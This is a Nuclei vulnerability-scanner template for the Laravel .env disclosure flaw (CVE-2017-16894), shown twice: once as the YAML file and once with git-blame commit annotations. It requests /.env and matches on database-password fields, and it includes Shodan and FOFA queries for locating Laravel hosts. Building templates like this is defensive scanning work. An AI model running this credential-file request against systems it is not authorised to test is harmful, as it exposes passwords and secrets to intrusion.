nuclei-templates/http/cves/2017/CVE-2017-16894.yaml

id: CVE-2017-16894

info:
  name: Laravel <5.5.21 - Information Disclosure
  author: j4vaovo
  severity: high
  description: |
    Laravel through 5.5.21 is susceptible to information disclosure. An attacker can obtain sensitive information such as externally usable passwords via a direct request for the /.env URI. NOTE: CVE pertains only to the writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting .env permissions. The .env filename is not used exclusively by Laravel.
  remediation: |
    Upgrade Laravel to version 5.5.21 or higher to fix the information disclosure vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16894
    - https://packetstormsecurity.com/files/cve/CVE-2017-16894
    - http://whiteboyz.xyz/laravel-env-file-vuln.html
    - https://twitter.com/finnwea/status/967709791442341888
    - https://nvd.nist.gov/vuln/detail/CVE-2017-16894
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-16894
    cwe-id: CWE-200
    epss-score: 0.29151
    epss-percentile: 0.96346
    cpe: cpe:2.3:a:laravel:laravel:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: laravel
    product: laravel
    shodan-query: Laravel-Framework
    fofa-query: app="Laravel-Framework"
  tags: cve2017,laravel,exposure,packetstorm,cve

http:
  - method: GET
    path:
      - "{{BaseURL}}/.env"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "APP_NAME="
          - "APP_DEBUG="
          - "DB_PASSWORD="
        condition: and

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100d23bc977f301fa3e3d91345026d3f6aa9517eebb7eb978070816b2e8eadd237902206bd3d1e568254af8df6e7455cb8c17ec196aea13660046c634334ac8e57a8d9d:922c64590222798bb761d5b6d8e72950
Create CVE-2017-16894.yaml 2023-04-13 05:38:32 +00:00			`id: CVE-2017-16894`

			`info:`
Dashboard Content Enhancements (#7149) Dashboard Content Enhancements 2023-04-28 13:11:35 +00:00			`name: Laravel <5.5.21 - Information Disclosure`
Create CVE-2017-16894.yaml 2023-04-13 05:38:32 +00:00			`author: j4vaovo`
			`severity: high`
			`description: \|`
Dashboard Content Enhancements (#7149) Dashboard Content Enhancements 2023-04-28 13:11:35 +00:00			`Laravel through 5.5.21 is susceptible to information disclosure. An attacker can obtain sensitive information such as externally usable passwords via a direct request for the /.env URI. NOTE: CVE pertains only to the writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting .env permissions. The .env filename is not used exclusively by Laravel.`
updated other CVEs 2023-09-06 13:22:34 +00:00			`remediation: \|`
			`Upgrade Laravel to version 5.5.21 or higher to fix the information disclosure vulnerability.`
Create CVE-2017-16894.yaml 2023-04-13 05:38:32 +00:00			`reference:`
			`- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16894`
added shodan query 2023-04-15 18:52:49 +00:00			`- https://packetstormsecurity.com/files/cve/CVE-2017-16894`
Auto Generated CVE annotations [Sun Apr 16 18:40:12 UTC 2023] :robot: 2023-04-16 18:40:12 +00:00			`- http://whiteboyz.xyz/laravel-env-file-vuln.html`
			`- https://twitter.com/finnwea/status/967709791442341888`
Dashboard Content Enhancements (#7149) Dashboard Content Enhancements 2023-04-28 13:11:35 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2017-16894`
Create CVE-2017-16894.yaml 2023-04-13 05:38:32 +00:00			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
			`cvss-score: 7.5`
			`cve-id: CVE-2017-16894`
			`cwe-id: CWE-200`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`epss-score: 0.29151`
TemplateMan Update [Wed Oct 25 06:44:12 UTC 2023] :robot: 2023-10-25 06:44:12 +00:00			`epss-percentile: 0.96346`
updated other CVEs 2023-09-06 13:22:34 +00:00			`cpe: cpe:2.3:a:laravel:laravel::::::::`
Create CVE-2017-16894.yaml 2023-04-13 05:38:32 +00:00			`metadata:`
boolean format update 2023-06-04 08:13:42 +00:00			`verified: true`
updated other CVEs 2023-09-06 13:22:34 +00:00			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: laravel`
			`product: laravel`
updated other CVEs 2023-09-06 13:22:34 +00:00			`shodan-query: Laravel-Framework`
			`fofa-query: app="Laravel-Framework"`
Auto Generated CVE annotations [Sun Apr 16 18:40:12 UTC 2023] :robot: 2023-04-16 18:40:12 +00:00			`tags: cve2017,laravel,exposure,packetstorm,cve`
Create CVE-2017-16894.yaml 2023-04-13 05:38:32 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2017-16894.yaml 2023-04-13 05:38:32 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/.env"`

			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`part: body`
			`words:`
			`- "APP_NAME="`
			`- "APP_DEBUG="`
			`- "DB_PASSWORD="`
			`condition: and`

			`- type: word`
			`part: header`
			`words:`
			`- "application/octet-stream"`

			`- type: status`
			`status:`
			`- 200`
TemplateMan Update [Wed Oct 25 12:04:43 UTC 2023] :robot: 2023-10-25 12:04:43 +00:00
			`# digest: 4a0a00473045022100d23bc977f301fa3e3d91345026d3f6aa9517eebb7eb978070816b2e8eadd237902206bd3d1e568254af8df6e7455cb8c17ec196aea13660046c634334ac8e57a8d9d:922c64590222798bb761d5b6d8e72950`